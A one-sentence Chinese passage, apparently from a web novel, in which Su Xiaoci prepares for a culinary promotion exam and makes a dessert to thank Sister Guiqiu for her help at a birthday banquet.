苏晓瓷赶紧抓住时机,继续备战膳使晋升的考核,并抽空做一道甜品,以报答桂秋姐姐在生辰宴时对她的帮助。